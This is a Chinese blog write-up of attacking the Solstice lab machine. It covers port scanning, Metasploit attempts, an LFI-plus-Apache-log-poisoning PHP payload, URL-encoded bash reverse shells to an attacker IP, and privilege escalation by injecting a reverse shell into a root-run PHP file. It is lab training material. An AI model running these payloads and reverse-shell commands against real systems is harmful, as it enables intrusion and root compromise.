实战打靶集锦-014-solstice

最新推荐文章于 2024-05-13 19:07:51 发布
最新推荐文章于 2024-05-13 19:07:51 发布
阅读量426 收藏
点赞数
分类专栏： 实战打靶集锦 文章标签： 打靶 渗透 solstice 本地文件包含漏洞 root运行的进程和文件提权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lipeixinglive/article/details/129976081
版权

提示：本文记录了博主的一次失败的打靶经历。

目录

1. 主机发现

目前只知道目标靶机在65.xx网段，通过如下的命令，看看这个网段上在线的主机。

$ nmap -sP 192.168.65.0/24

在这里插入图片描述
锁定靶机地址为192.168.65.142。

2. 端口扫描

通过下面的命令对目标靶机进行全端口扫描。

$ sudo nmap -p- 192.168.65.142

在这里插入图片描述
啊，这个靶机上开放的端口还真是不少。

3. 服务枚举

通过下面的命令对目标靶机上开放的端口上的服务进行枚举。

$ sudo nmap -p21,22,25,80,139,445,2121,3128,8593,54787,62524 -A -sT -sV 192.168.65.142

在这里插入图片描述
既然扫描出了这么多服务，那就逐个探查一下吧。

4. 服务探查

4.1 ftp服务探查

先尝试匿名登录试试看。
在这里插入图片描述
ftp服务不允许Anonymous用户登录，查一下公共EXP。
在这里插入图片描述
竟然没有。

4.2 web服务探查

先用浏览器打开看看。
在这里插入图片描述
感觉像是做了一个假的页面一样，直接目录枚举一下。

$ dirsearch -u http://192.168.65.142

在这里插入图片描述
绝大部分都是403，对于返回结果是301和200的页面都用浏览器打开看看，没有发现实际可用的内容。

4.3 samba服务探查

先连接一下试试看。

$ smbclient -L //192.168.65.142

在这里插入图片描述
尝试发送消息试试看。

$ smbclient -M 192.168.65.142

在这里插入图片描述
还是失败，使用下面的Metasploit也没有得到立项的结果。
在这里插入图片描述

4.4 smtp服务探查

先连接一下试试看。

$ nc 192.168.65.142 25

在这里插入图片描述
还是有反应的，不过不知道怎么用，先用Metasploit搜索一下看看。
在这里插入图片描述
看上去下面几个都是可以利用的，逐个试试看。

msf6 > use exploit/linux/smtp/exim_gethostbyname_bof
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > set RHOSTS 192.168.65.142
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > run

在这里插入图片描述

sf6 > use exploit/linux/smtp/exim4_dovecot_exec
msf6 exploit(linux/smtp/exim4_dovecot_exec) > set RHOSTS 192.168.65.142
msf6 exploit(linux/smtp/exim4_dovecot_exec) > run

在这里插入图片描述

msf6 > use exploit/unix/smtp/exim4_string_format
msf6 exploit(unix/smtp/exim4_string_format) > set RHOSTS 192.168.65.142
msf6 exploit(unix/smtp/exim4_string_format) > set payload payload/cmd/unix/reverse_bash_telnet_ssl
msf6 exploit(unix/smtp/exim4_string_format) > set LHOST 192.168.65.202
msf6 exploit(unix/smtp/exim4_string_format) > run

在这里插入图片描述

msf6 > use exploit/unix/webapp/wp_phpmailer_host_header
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > set RHOSTS 192.168.65.142
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > set LHOST 192.168.65.202
msf6 exploit(unix/webapp/wp_phpmailer_host_header) > run

在这里插入图片描述
各种异常，没有一个是可以正常利用的。

4.5 Squid http proxy服务探查

直接用Metasploit搜索一下。

msf6 > search squid

在这里插入图片描述
也没几个，直接试试吧。

msf6 > use exploit/linux/proxy/squid_ntlm_authenticate
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > set RHOSTS 192.168.65.142
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > set RPORT 3128
msf6 exploit(linux/proxy/squid_ntlm_authenticate) > run

在这里插入图片描述
等了半小时也没有结果，直接强制中断，其它的两个根本没戏，不会对我们的反弹shell有帮助。

4.6 PHP cli server探查

在服务枚举的时候发现这个是http服务，那就直接用网页试试看。
在这里插入图片描述
在这里插入图片描述
嗯，是一个页面，还要超链接，打开burp，然后进去看看吧。
在这里插入图片描述
第一个超链接就是index页面，也就是当前打开的页面本身，接下来试试第二个。
在这里插入图片描述
第二个超链接指向了一个“/index.php?book=list”，这可能会引起本地文件包含（LFI）的风险，比如我们看看是不是可以查看主机的/etc/crontab文件（把URI指向“/index.php?book=../../../../../../../../../etc/crontab”）。
在这里插入图片描述
确实可以打印出文件的内容，接下来我们看看/etc/passwd里面的内容。
在这里插入图片描述
妥妥的，我们把内容格式化一下，看看具体的信息。
在这里插入图片描述
还是有些信息值得我们关注的，直接ssh试一下root和miguel试试看。
在这里插入图片描述
都没给输入密码的机会，黔驴技穷了。

4.7 总结回顾

我们的首要目标是要构建反弹shell。从目前为止没有发现任何的sql注入、文件上传等的入口，没有办法往服务器上写东西，是没法建立反弹shell的。仔细想一下，貌似我们唯一能够引起的服务器变化就是写日志，而且还不受我们控制。理论上讲，我们每次访问apache服务的时候，不论成功与否，apache应该都会记录日志，这貌似是唯一跟我们的输入有关系的内容。上网搜索了一下apache的日志貌似是“/var/log/httpd/access_log.log”或者“/var/log/apache2/access.log”，我们分别试一下看看。
在这里插入图片描述看来第一个不正确，再试试第二个。
在这里插入图片描述
嗯，第二个是正确的。我们通过80端口随便访问一个URI（这里用“http://192.168.65.142/testuri.html”）看看是不是可以记录日志。
在这里插入图片描述
404 Not Found，这是我们预期的，因为这个URI根本不存在，接下来我们看看access.log日志。
在这里插入图片描述
确实在日志文件的最后打印了这次请求的记录。接下来，我们通过nc访问靶机的80端口，看看是不是可以提交一些别的请求（这里用的是“GET <?php system($_GET[MyCommand]); ?> HTTP/1.1”）来影响日志内容的显示。
在这里插入图片描述
我们再来看看日志里面记录了啥。
在这里插入图片描述
有意思，从这个请求日志可以看出，我们这次的GET方法的请求内容是没有被记录到日志里面的，但是log记录了这次GET请求。其实这里构造了一个PHP的payload，用于执行MyCommand指令并返回结果。下面我们执行一下whoami试试看。

http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=whoami

在这里插入图片描述
再试试id。

http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=id

在这里插入图片描述
妥了，这说明这里输入的命令是可以被执行的，应该可以直接从这里构建反弹shell。

5. 突破边界

因为这里的命令是在url请求中的，前面我们都是测试的whoami、id等没有任何特殊字符的命令，所以可以直接放在MyCommand后面，但是构建反弹shell的命令需要转为URL的格式。我们尝试使用下面的反弹shell命令。

bash -c 'exec bash -i &>/dev/tcp/192.168.65.202/9999 <&1'

继续使用站长工具进行URL编码。

bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.65.202%2F9999%20%3C%261%27

在kali上9999端口建立监听，然后在浏览器中请求。

http://192.168.65.142:8593/index.php?book=../../../../../../../../../var/log/apache2/access.log&MyCommand=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.65.202%2F9999%20%3C%261%27

反弹成功了。
在这里插入图片描述
进一步验证一下。
在这里插入图片描述
确实突破边界了。

6. 提权

6.1 系统信息枚举

$ uname -a
$ cat /etc/*-release
$ getconf LONG_BIT

在这里插入图片描述
64为的debian 10，内核版本为4.19.98-1。

6.2 弱密码登录

尝试一下弱密码。
在这里插入图片描述
看来密码也不太弱。

6.3 枚举定时任务

在这里插入图片描述
没有可以直接利用的定时任务。

6.4 查看/etc/passwd

在这里插入图片描述
可以直接shell登录的就是root和miguel，跟我们之前通过浏览器查看的结果一样。尝试写入新用户。

$ openssl passwd test123

在这里插入图片描述

$ echo "testusr: $1$eXXAExQC$6jkYvs7XGZewdesHYO6je0:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
没权限，正常。

6.5 枚举可执行文件

查看带有SUID的可执行文件。

$ find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
pkexec和exim4比较可疑，网上搜索一下看看是否可以用于提权。
在这里插入图片描述
貌似还真有，那就看看吧。貌似这个CVE-2021-4034的漏洞是针对polkit工具的，这是linux下的一个授权管理器，广泛存在于发行版linux上。我们先查看一下靶机上的polkit版本。
在这里插入图片描述
这个版本应该是受影响的，POC公开在git上：https://github.com/berdav/CVE-2021-4034。

$ git clone https://github.com/berdav/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make

在这里插入图片描述
将编译好的cve-2021-4034上传到靶机的/tmp目录下，并执行。
在这里插入图片描述
报错了，应该还是编译版本的问题，在ubuntu 16上编译再上传靶机试试。
在这里插入图片描述
这个漏洞在靶机上是被修复过的，但是在Ubuntu 16上是可以提权成功的。
在这里插入图片描述
再搜搜看exim4是否可以提权。

在这里插入图片描述
貌似也有，先看看靶机上的exim4版本。
在这里插入图片描述
从上述searchsploit搜索结果来看，没有符合exim 4.92版本的EXP。

6.6 内核提权

进一步确认下系统内核版本。
在这里插入图片描述4.19.0-8，搜索一下searchsploit。
在这里插入图片描述
标出来的这6个都是有提权的可能的，不过第二个pkexec我们已经试过了，之前没搞定。把代码都下载下来试试再说。

$ searchsploit -m 50135 47163 47164 47165 47166 47167

6.6.1 50135提权

本地的kali太新了，直接放到Ubuntu上编译，并上传到靶机执行。

ubuntu@ubuntu:~/Desktop$ gcc -static -o 50135 50135.c

在这里插入图片描述
提权失败，在ubuntu上试了一下，也是报错了，不过相对好一些。
在这里插入图片描述

6.6.2 47163提权

同样直接放到Ubuntu上编译，并上传到靶机执行。

ubuntu@ubuntu:~/Desktop$ gcc -s 47163.c -o 47163

在这里插入图片描述
看来这个漏洞也不存在，在ubuntu上试一下。
在这里插入图片描述
仍然不成功。

6.6.3 47164提权

直接把47164.sh脚本上传到目标靶机执行。
在这里插入图片描述
其它三个脚本也是同样的问题。
在这里插入图片描述

6.7 linpeas提权

用大杀器linpeas试试看，没有发现太多特殊的，但是有一条引起了注意。
在这里插入图片描述
说明我们的sudo版本可能存在漏洞，先查看一下靶机的sudo版本。
在这里插入图片描述
是1.8.27版本，再通过searchsploit查看一下。
在这里插入图片描述
我们的版本号赫然在列，查看EXP代码，这是一个编号为CVE-2019-14287的sudo安全绕过漏洞。
直接把脚本上传到靶机上运行一下。
在这里插入图片描述
又报tty的问题了，优化一下shell，然后再执行一下。

www-data@solstice:/tmp$ /usr/bin/python -c "import pty;pty.spawn('/bin/bash')"
www-data@solstice:/tmp$ /usr/bin/python3.7 47502.py

在这里插入图片描述
额，要知道当前用户的密码才可以，看来这个路子在这里行不通。
到目前为止，所有的提权方式都失败了。网上搜搜看看大神们是怎么提权的，这里参照“仙女像”大神的博客进行提权（https://blog.csdn.net/elephantxiang/article/details/126335716）。

6.8 利用可读可写的目录和文件提权

其实本质上还是先搜索一下可读可写的文件和目录（忽然想起，之前我都是搜索这一项的，这里竟然忘记了，基本功不扎实啊）。
先用之前用过的方法，搜索一下root用户所有的，其它用户可读可写的可执行文件。

$ find / -type f -user root -perm -o=w 2>/dev/null

在这里插入图片描述
除了之前扫描出的/sys/和/proc/目录下的文件外，有一个比较特殊的文件“/var/tmp/sv/index.php”。
再用“仙女像”大神的命令搜索一下看看。

$ find / -user root -perm /4000 2>/dev/null

在这里插入图片描述
也能搜索到这个目录，但是不会搜索出底下的文件，顺便搜索了一下4000貌似会搜出所有suid的文件。
感觉上面两个命令都不是很完美，我们用下面的命令试试看（即两个命令结合一下）。

$ find / -type f -user root -perm /4000 2>/dev/null

在这里插入图片描述
看来更加糟糕，我们用下面的方法优化一下。

$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"

在这里插入图片描述
貌似这样不错，不纠结了，看看这个神奇的“/var/tmp/sv/index.php”。
在这里插入图片描述
额，内容简单的不能再简单了，可以在这里插入反弹shell，不过得先看看这个/var/tmp/sv目录和index.php文件是那个进程或者那个账号启动的，如果不是root启动的话，反弹的shell也不会有root权限。

$ ps -ef | grep "/var/tmp/sv"

在这里插入图片描述
是root用户运行的，直接就是/usr/bin/php程序运行的。我们用echo命令修改一下这个文件，如下。

$ echo "<?php" > /var/tmp/sv/index.php && echo "echo \"Under construction\";" >> /var/tmp/sv/index.php && echo "exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.65.202/8888 0>&1'\");" >> /var/tmp/sv/index.php && echo "?>" >> /var/tmp/sv/index.php

说明：之所以这么复杂，是没有修改原有的index.php的功能，只是在里面插入了构建反弹shell的内容。
修改后的内容如下。
在这里插入图片描述
接下来在kali上监听8888端口。
在这里插入图片描述
然后在靶机上通过nc访问运行这个进程的57端口，并请求/index.php文件。
在这里插入图片描述
这个时候kali上的监听端口没有任何反应，再敲一下回车键，监听就建立成功了。
在这里插入图片描述
第一次见这么神奇的提权过程，感谢“仙女像”大神的分享。验证一下是否提权成功。
在这里插入图片描述
是OK的，没有什么问题。

7. 获取flag

在这里插入图片描述

骈邑老李
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
solar-solstice:Solar Solstice - 浏览器游戏
06-08
太阳至 Solar Solstice - 浏览器游戏
solstice-assets：Eclipse Foundation外观的资产称为Solstice
02-12
冬至资产 Eclipse Foundation的资产外观称为Solstice。 入门 安装依赖项，构建资产并注意更改： npm install && npm run drupal && npm run watch 贡献 存储库 克隆存储库： git clone https://github.com/[your_github_username]/solstice-assets.git 安装依赖项： cd solstice-assets && npm install 监视更改（可选）： npm run watch 创建功能分支： git checkout -b my-new-feature 提交更改： git commit -m 'Add some feature' -s 推送功能分支： git push origin my-new-feature 提交拉取请求 错误和功能要求
Solstice Online-开源
04-26
Solstice Online是一个新的开源MMORPG，灵感来自《仙境传说》。 它具有3D环境和2D动画风格的角色，玩家可以在此环境中探索基于凯尔特人和北欧神话的新世界。
Solstice-开源
05-01
Solstice是一种轻量级的，基于电子邮件的面向消息的中间件（MOM）。 Solstice使用加密和故障转移机制来确保安全性并保证交付（有关MOM的更多信息，请参阅项目主页）。
solstice-challenge:冬至后端编码挑战
04-29
冬至后端编码挑战-联系人REST API 安装与设定 要运行该应用程序，您需要具备以下条件： 对于数据库连接，请在application.properties文件中替换您的配置 spring.datasource.url = jdbc:mysql://{Host_or_IP}:{port}/{schema_name} spring.datasource.username = {db_username} spring.datasource.password = {db_password} 生成并运行应用程序 在Shell中导航到项目，然后执行： ./gradlew bootRun 注意：这将运行测试，生成并运行该应用程序。 对于访问API文档： 使用API 建立联络人 进行POST到需要带有联系数据的消息正文： { "name": "Test Contact", "birt
solstice靶机练习
weixin_62391735的博客
06-11 188
pkexec这个版本在google上可以搜到CVE-2021-4034这个提权漏洞，exim4这个版本没有搜到漏洞，所以我们使用CVE-2021-4034这个漏洞来进行提权。在这里我们就要给文件中写入反弹shell的脚本了，因为靶机自带的nc有-e参数，就不需要我们去构建一些反弹的shell了。并没有发现什么有用的东西，大部分都是403，还有一个jquery也没有什么异常，换一个端口看看。发现这个靶机开放的端口也是比较多的，我们进行细致的扫描来看看。将这个反弹shell写入文件中，我们去访问57端口。
solstice靶机渗透测试
m0_74358546的博客
10-11 67
开启靶机之后扫描网段内的主机确定靶机IP为192.168.153.140nmap扫描一下开放的端口开放的端口挺多的一个端口一个端口的试一下。
PG::Solstice
aya3t的博客
11-29 209
PROVING GROUNDS::Solstice
SO SIMPLE: 1靶机
logan_logan的博客
07-22 265
1.在浏览器输入地址打开 2.端口扫描 nmap -A -p- -T4 10.36.101.171 开的端口不是很多，不过可以看到8443端口后面包含有LXD的信息，说不定在提权的时候能用到； 3.目录枚举 目录枚举的时候看到有wordpress，准备上Wpscan工具进行枚举； 4.在网页打开这个目录 查看源代码的时候发现Social Warfare竟然是3.5版本的，判断很可能出现Social Warfare <= 3.5.2 - Unauthenticated Remote Code
vulhub-sunset:solstice
2201_75378806的博客
05-13 276
所以在网上找到apache2的访问日志可能保存的文件路径，挨个进行文件包含看看访问日志到底保存在哪里，最后发现在/var/log/apache2/access.log。由于这个php文件是由root运行的，并且我们有写权限，因此我们可以将文件的内容更改为恶意php代码，这将为我们提供反向shell。由于nmap扫描出80端口是apache httpd 2.4.38，可以试试apache日志中毒。我们将使用这个 php 代码来获取反向 shell，将 ip 更改为攻击者的 ip 并记住端口。
[web攻防] Apache shiro反序化漏洞 CVE-2016-4437 学习过程 vulhub搭建靶场+ShiroExploit工具使用
AAAAAAAAAAAA66的博客
01-10 2622
中华人民共和国网络安全法(出版物)_360百科 写在前面 由于自己是刚从PHP反序化学到java反序化的，虽然这些漏洞的成因都是一个—— 输入的代码被执行，但是到底要经历一个怎样的调用过程才会导致代码被执行，这才是我们需要弄懂的地方，也是脚本小子进阶的过程。。 本文仅是记录自己学习的过程的总结。 参考链接 HW必备知识点！ Shiro反序列化的检测与利用_白帽子技术/思路_i春秋社区-分享你的技术，为安全加点温度. ubuntu安装vulhub教程_winter_solsti...
笔记40-60
2201_75378806的博客
03-27 621
当列表长度大于2的时候，设置files前两个元素的路径，然后比较当前用户home目录下的json文件名中的时间和/tmp目录下json文件名中的时间，根据比较结果返回对应的json文件。查看里面的信息后，看下log.py这个脚本，发现clear.log会每分钟开头执行一次，看源码分析，每分钟都会清理日志的意思，他会调用log.py，虽然可以利用，但是他这个脚本只能看，不能改，然而之前的script文件夹可是满权限，那么就可以让这个log.py文件改名，让我们自己写的脚本变为log.py。
OSCP-Zino（Booked）
墨痕诉清风的博客
04-24 614
上传了一个简单的web shell到favicon.ico上传部分。确实尝试了一个标准的PHP反向shell，但无法让它进行回复。等待大约3分钟，cron作业执行，收到一个root shell。通过查看输出，有一个设置为每3分钟运行一次的cron作业。使用上述信息，可以读取带有以下URL的passwd文件。匿名登录的FTP进行初始检查会导致登录被拒绝的消息。由于FTP正在运行，最终将攻击机器托管在端口21上。作为www-data，可以编辑该文件。有几个文件要通过这里发现的有趣信息。
【VulnHub】【2023年07月18日】最新全部靶场详情（上）
惟忆
07-18 7929
【代码】【VulnHub】【2023年07月18日】最新全部靶场详情（上）
python爬虫数据可视化-10-where条件语句-模糊查询.ev4.rar
05-31
python爬虫数据可视化-10-where条件语句-模糊查询.ev4.rar
train.csv
最新发布
05-31
train
Golang(Gin框架)+websocket 实现的多人聊天室+代码+详细文档
05-31
Golang(Gin框架)+websocket 实现的多人聊天室+代码+详细文档
用于艾默生、维蒂APM300等UPS主机管理设置软件
05-31
用于艾默生、维蒂APM300等UPS主机管理设置软件
foreach (var i in qry)
07-27
- *1* *2* *3* [foreach用法](https://blog.csdn.net/Solstice_/article/details/128034511)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值